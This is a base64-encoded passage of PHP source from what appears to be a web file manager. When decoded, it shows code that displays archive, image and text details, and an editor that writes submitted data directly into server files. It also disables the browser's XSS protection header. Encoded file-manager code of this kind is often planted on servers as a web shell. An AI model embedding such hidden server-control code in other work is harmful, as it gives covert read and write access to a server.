CAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgIC8vIFpJUCBpbmZvCiAgICAgICAgICAgICAgICBpZiAoKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX2ZpbGVzID0gMDsKICAgICAgICAgICAgICAgICAgICAkdG90YWxfY29tcCA9IDA7CiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX3VuY29tcCA9IDA7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVuYW1lcyBhcyAkZm4pIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkZm5bJ2ZvbGRlciddKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfZmlsZXMrKzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfY29tcCArPSAkZm5bJ2NvbXByZXNzZWRfc2l6ZSddOwogICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfdW5jb21wICs9ICRmblsnZmlsZXNpemUnXTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1ncm91cC1pdGVtIj48P3BocCBlY2hvIGxuZygnRmlsZXMgaW4gYXJjaGl2ZScpID8+OiA8P3BocCBlY2hvICR0b3RhbF9maWxlcyA/PjwvbGk+CiAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWdyb3VwLWl0ZW0iPjw/cGhwIGVjaG8gbG5nKCdUb3RhbCBzaXplJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF91bmNvbXApID8+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtZ3JvdXAtaXRlbSI+IDw/cGhwIGVjaG8gbG5nKCdTaXplIGluIGFyY2hpdmUnKSA/PjogPD9waHAgZWNobyBmbV9nZXRfZmlsZXNpemUoJHRvdGFsX2NvbXApID8+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtZ3JvdXAtaXRlbSI+PD9waHAgZWNobyBsbmcoJ0NvbXByZXNzaW9uJykgPz46IDw/cGhwIGVjaG8gcm91bmQoKCR0b3RhbF9jb21wIC8gbWF4KCR0b3RhbF91bmNvbXAsIDEpKSAqIDEwMCkgPz4lPC9saT4KICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAvLyBJbWFnZSBpbmZvCiAgICAgICAgICAgICAgICBpZiAoJGlzX2ltYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgJGltYWdlX3NpemUgPSBnZXRpbWFnZXNpemUoJGZpbGVfcGF0aCk7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGxpIGNsYXNzPSJsaXN0LWdyb3VwLWl0ZW0iPjxzdHJvbmc+JyAuIGxuZygnSW1hZ2Ugc2l6ZScpIC4gJzo8L3N0cm9uZz4gJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVswXSkgPyAkaW1hZ2Vfc2l6ZVswXSA6ICcwJykgLiAnIHggJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVsxXSkgPyAkaW1hZ2Vfc2l6ZVsxXSA6ICcwJykgLiAnPC9saT4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gVGV4dCBpbmZvCiAgICAgICAgICAgICAgICBpZiAoJGlzX3RleHQpIHsKICAgICAgICAgICAgICAgICAgICAkaXNfdXRmOCA9IGZtX2lzX3V0ZjgoJGNvbnRlbnQpOwogICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBpY29udihGTV9JQ09OVl9JTlBVVF9FTkMsICdVVEYtOC8vSUdOT1JFJywgJGNvbnRlbnQpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxsaSBjbGFzcz0ibGlzdC1ncm91cC1pdGVtIj48c3Ryb25nPicgLiBsbmcoJ0NoYXJzZXQnKSAuICc6PC9zdHJvbmc+ICcgLiAoJGlzX3V0ZjggPyAndXRmLTgnIDogJzggYml0JykgLiAnPC9saT4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iYnRuLWdyb3VwIGJ0bi1ncm91cC1zbSBmbGV4LXdyYXAiIHJvbGU9Imdyb3VwIj4KICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9ImQtaW5saW5lIG1iLTAgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGFjdGlvbj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2RsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPgogICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1saW5rIGJ0bi1zbSB0ZXh0LWRlY29yYXRpb24tbm9uZSBmdy1ib2xkIHAtMCI+PGkgY2xhc3M9ImZhIGZhLWNsb3VkLWRvd25sb2FkIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdEb3dubG9hZCcpID8+PC9idXR0b24+ICZuYnNwOwogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImZ3LWJvbGQgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkiIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4iIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkZWw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+IiBvbmNsaWNrPSJjb25maXJtRGFpbG9nKGV2ZW50LCAxMjA5LCAnPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpIC4gJyAnIC4gbG5nKCdGaWxlJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PicsIHRoaXMuaHJlZik7Ij4gPGkgY2xhc3M9ImZhIGZhLXRyYXNoIj48L2k+IERlbGV0ZTwvYT4KICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgPGEgY2xhc3M9ImZ3LWJvbGQgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGhyZWY9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlX3VybCkgPz4iIHRhcmdldD0iX2JsYW5rIj48aSBjbGFzcz0iZmEgZmEtZXh0ZXJuYWwtbGluay1zcXVhcmUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ09wZW4nKSA/PjwvYT48L2I+CiAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgLy8gWklQIGFjdGlvbnMKICAgICAgICAgICAgICAgIGlmICghRk1fUkVBRE9OTFkgJiYgKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJHppcF9uYW1lID0gcGF0aGluZm8oJGZpbGVfcGF0aCwgUEFUSElORk9fRklMRU5BTUUpOwogICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGNsYXNzPSJkLWlubGluZSBidG4gYnRuLW91dGxpbmUtcHJpbWFyeSBtYi0wIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1bnppcCIgdmFsdWU9Ijw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tbGluayB0ZXh0LWRlY29yYXRpb24tbm9uZSBmdy1ib2xkIHAtMCBib3JkZXItMCIgc3R5bGU9ImZvbnQtc2l6ZTogMTRweDsiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1VuWmlwJykgPz48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBjbGFzcz0iZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idW56aXAiIHZhbHVlPSI8P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSk7ID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9mb2xkZXIiIHZhbHVlPSIxIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWxpbmsgdGV4dC1kZWNvcmF0aW9uLW5vbmUgZnctYm9sZCBwLTAiIHN0eWxlPSJmb250LXNpemU6IDE0cHg7IiB0aXRsZT0iVW5aaXAgdG8gPD9waHAgZWNobyBmbV9lbmMoJHppcF9uYW1lKSA/PiI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnVW5aaXBUb0ZvbGRlcicpID8+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkaXNfdGV4dCAmJiAhRk1fUkVBRE9OTFkpIHsKICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImZ3LWJvbGQgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiIgY2xhc3M9ImVkaXQtZmlsZSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYSBmYS1wZW5jaWwtc3F1YXJlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdFZGl0JykgPz4KICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImZ3LWJvbGQgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiZlbnY9YWNlIgogICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iZWRpdC1maWxlIj48aSBjbGFzcz0iZmEgZmEtcGVuY2lsLXNxdWFyZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnQWR2YW5jZWRFZGl0b3InKSA/PgogICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgIDw/cGhwIH0gPz4KICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJmdy1ib2xkIGJ0biBidG4tb3V0bGluZS1wcmltYXJ5IiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiI+PGkgY2xhc3M9ImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFjayI+PC9pPiA8P3BocCBlY2hvIGxuZygnQmFjaycpID8+PC9hPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93IG10LTMiPgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgIGlmICgkaXNfb25saW5lVmlld2VyKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRvbmxpbmVfdmlld2VyID09ICdnb29nbGUnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxpZnJhbWUgc3JjPSJodHRwczovL2RvY3MuZ29vZ2xlLmNvbS92aWV3ZXI/ZW1iZWRkZWQ9dHJ1ZSZobD1lbiZ1cmw9JyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJyIgZnJhbWVib3JkZXI9Im5vIiBzdHlsZT0id2lkdGg6MTAwJTttaW4taGVpZ2h0OjQ2MHB4Ij48L2lmcmFtZT4nOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoJG9ubGluZV92aWV3ZXIgPT0gJ21pY3Jvc29mdCcpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlmcmFtZSBzcmM9Imh0dHBzOi8vdmlldy5vZmZpY2VhcHBzLmxpdmUuY29tL29wL2VtYmVkLmFzcHg/c3JjPScgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICciIGZyYW1lYm9yZGVyPSJubyIgc3R5bGU9IndpZHRoOjEwMCU7bWluLWhlaWdodDo0NjBweCI+PC9pZnJhbWU+JzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ppcCkgewogICAgICAgICAgICAgICAgICAgIC8vIFpJUCBjb250ZW50CiAgICAgICAgICAgICAgICAgICAgaWYgKCRmaWxlbmFtZXMgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxjb2RlIGNsYXNzPSJtYXhoZWlnaHQiPic7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZuWydmb2xkZXInXSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicgLiBmbV9lbmMoJGZuWyduYW1lJ10pIC4gJzwvYj48YnI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZm5bJ25hbWUnXSAuICcgKCcgLiBmbV9nZXRfZmlsZXNpemUoJGZuWydmaWxlc2l6ZSddKSAuICcpPGJyPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9jb2RlPic7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHA+JyAuIGxuZygnRXJyb3Igd2hpbGUgZmV0Y2hpbmcgYXJjaGl2ZSBpbmZvJykgLiAnPC9wPic7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRpc19pbWFnZSkgewogICAgICAgICAgICAgICAgICAgIC8vIEltYWdlIGNvbnRlbnQKICAgICAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJGV4dCwgYXJyYXkoJ2dpZicsICdqcGcnLCAnanBlZycsICdwbmcnLCAnYm1wJywgJ2ljbycsICdzdmcnLCAnd2VicCcsICdhdmlmJykpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgaWQ9InByZXZpZXctaW1nLXpvb21DaGVjayI+PGxhYmVsIGZvcj0icHJldmlldy1pbWctem9vbUNoZWNrIj48aW1nIHNyYz0iJyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJyIgYWx0PSJpbWFnZSIgY2xhc3M9InByZXZpZXctaW1nIj48L2xhYmVsPjwvcD4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfYXVkaW8pIHsKICAgICAgICAgICAgICAgICAgICAvLyBBdWRpbyBjb250ZW50CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPHA+PGF1ZGlvIHNyYz0iJyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJyIgY29udHJvbHMgcHJlbG9hZD0ibWV0YWRhdGEiPjwvYXVkaW8+PC9wPic7CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ZpZGVvKSB7CiAgICAgICAgICAgICAgICAgICAgLy8gVmlkZW8gY29udGVudAogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9InByZXZpZXctdmlkZW8iPjx2aWRlbyBzcmM9IicgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICciIHdpZHRoPSI2NDAiIGhlaWdodD0iMzYwIiBjb250cm9scyBwcmVsb2FkPSJtZXRhZGF0YSI+PC92aWRlbz48L2Rpdj4nOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRpc190ZXh0KSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKEZNX1VTRV9ISUdITElHSFRKUykgewogICAgICAgICAgICAgICAgICAgICAgICAvLyBoaWdobGlnaHQKICAgICAgICAgICAgICAgICAgICAgICAgJGhsanNfY2xhc3NlcyA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3NodG1sJyA9PiAneG1sJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdodGFjY2VzcycgPT4gJ2FwYWNoZScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAncGh0bWwnID0+ICdwaHAnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2xvY2snID0+ICdqc29uJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdmcnID0+ICd4bWwnLAogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzcyA9IGlzc2V0KCRobGpzX2NsYXNzZXNbJGV4dF0pID8gJ2xhbmctJyAuICRobGpzX2NsYXNzZXNbJGV4dF0gOiAnbGFuZy0nIC4gJGV4dDsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRleHQpIHx8IGluX2FycmF5KHN0cnRvbG93ZXIoJGZpbGUpLCBmbV9nZXRfdGV4dF9uYW1lcygpKSB8fCBwcmVnX21hdGNoKCcjXC5taW5cLihjc3N8anMpJCNpJywgJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzcyA9ICdub2hpZ2hsaWdodCc7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgPSAnPHByZSBjbGFzcz0id2l0aC1obGpzIj48Y29kZSBjbGFzcz0iJyAuICRobGpzX2NsYXNzIC4gJyI+JyAuIGZtX2VuYygkY29udGVudCkgLiAnPC9jb2RlPjwvcHJlPic7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGFycmF5KCdwaHAnLCAncGhwNCcsICdwaHA1JywgJ3BodG1sJywgJ3BocHMnKSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgLy8gcGhwIGhpZ2hsaWdodAogICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGhpZ2hsaWdodF9zdHJpbmcoJGNvbnRlbnQsIHRydWUpOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gJzxwcmU+JyAuIGZtX2VuYygkY29udGVudCkgLiAnPC9wcmU+JzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAkY29udGVudDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+Cjw/cGhwCiAgICBmbV9zaG93X2Zvb3RlcigpOwogICAgZXhpdDsKfQoKLy8gZmlsZSBlZGl0b3IKaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICFGTV9SRUFET05MWSkgewogICAgJGZpbGUgPSAkX0dFVFsnZWRpdCddOwogICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlLCBmYWxzZSk7CiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRmaWxlKTsKICAgIGlmICgkZmlsZSA9PSAnJyB8fCAhaXNfZmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7CiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIOwogICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKICAgIH0KICAgICRlZGl0RmlsZSA9ICcgOiA8aT48Yj4nIC4gJGZpbGUgLiAnPC9iPjwvaT4nOwogICAgaGVhZGVyKCdYLVhTUy1Qcm90ZWN0aW9uOjAnKTsKICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoCgogICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiBmbV9jb252ZXJ0X3dpbigoRk1fUEFUSCAhPSAnJyA/ICcvJyAuIEZNX1BBVEggOiAnJykgLiAnLycgLiAkZmlsZSk7CiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnLycgLiAkZmlsZTsKCiAgICAvLyBub3JtYWwgZWRpdGVyCiAgICAkaXNOb3JtYWxFZGl0b3IgPSB0cnVlOwogICAgaWYgKGlzc2V0KCRfR0VUWydlbnYnXSkpIHsKICAgICAgICBpZiAoJF9HRVRbJ2VudiddID09ICJhY2UiKSB7CiAgICAgICAgICAgICRpc05vcm1hbEVkaXRvciA9IGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvLyBTYXZlIEZpbGUKICAgIGlmIChpc3NldCgkX1BPU1RbJ3NhdmVkYXRhJ10pKSB7CiAgICAgICAgJHdyaXRlZGF0YSA9ICRfUE9TVFsnc2F2ZWRhdGEnXTsKICAgICAgICAkZmQgPSBmb3BlbigkZmlsZV9wYXRoLCAidyIpOwogICAgICAgIEBmd3JpdGUoJGZkLCAkd3JpdGVkYXRhKTsKICAgICAgICBmY2xvc2UoJGZkKTsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknKSk7CiAgICB9CgogICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJGZpbGVfcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7CiAgICAkbWltZV90eXBlID0gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKTsKICAgICRmaWxlc2l6ZSA9IGZpbGVzaXplKCRmaWxlX3BhdGgpOwogICAgJGlzX3RleHQgPSBmYWxzZTsKICAgICRjb250ZW50ID0gJyc7IC8vIGZvciB0ZXh0CgogICAgaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF90ZXh0X2V4dHMoKSkgfHwgc3Vic3RyKCRtaW1lX3R5cGUsIDAsIDQpID09ICd0ZXh0JyB8fCBpbl9hcnJheSgkbWltZV90eXBlLCBmbV9nZXRfdGV4dF9taW1lcygpKSkgewogICAgICAgICRpc190ZXh0ID0gdHJ1ZTsKICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpOwogICAgfQoKPz4KICAgIDxkaXYgY2xhc3M9InBhdGgiPgogICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC14cy0xMiBjb2wtc20tNSBjb2wtbGctNiBwdC0xIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJ0bi10b29sYmFyIiByb2xlPSJ0b29sYmFyIj4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpc05vcm1hbEVkaXRvcikgeyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJidG4tZ3JvdXAganMtYWNlLXRvb2xiYXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBkYXRhLWNtZD0ibm9uZSIgZGF0YS1vcHRpb249ImZ1bGxzY3JlZW4iIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSIgaWQ9ImpzLWFjZS1mdWxsc2NyZWVuIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0Z1bGxzY3JlZW4nKSA/PiI+PGkgY2xhc3M9ImZhIGZhLWV4cGFuZCIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdGdWxsc2NyZWVuJykgPz4iPjwvaT48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9ImZpbmQiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSIgaWQ9ImpzLWFjZS1zZWFyY2giIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4iPjxpIGNsYXNzPSJmYSBmYS1zZWFyY2giIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4iPjwvaT48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9InVuZG8iIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSIgaWQ9ImpzLWFjZS11bmRvIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1VuZG8nKSA/PiI+PGkgY2xhc3M9ImZhIGZhLXVuZG8iIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnVW5kbycpID8+Ij48L2k+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPSJyZWRvIiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnkiIGlkPSJqcy1hY2UtcmVkbyIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdSZWRvJykgPz4iPjxpIGNsYXNzPSJmYSBmYS1yZXBlYXQiIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnUmVkbycpID8+Ij48L2k+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPSJub25lIiBkYXRhLW9wdGlvbj0id3JhcCIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtc2Vjb25kYXJ5IiBpZD0ianMtYWNlLXdvcmRXcmFwIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1dvcmQgV3JhcCcpID8+Ij48aSBjbGFzcz0iZmEgZmEtdGV4dC13aWR0aCIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdXb3JkIFdyYXAnKSA/PiI+PC9pPjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBpZD0ianMtYWNlLW1vZGUiIGRhdGEtdHlwZT0ibW9kZSIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgRG9jdW1lbnQgVHlwZScpID8+IiBjbGFzcz0iYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLW1kLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uPi0tIDw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgTW9kZScpID8+IC0tPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWx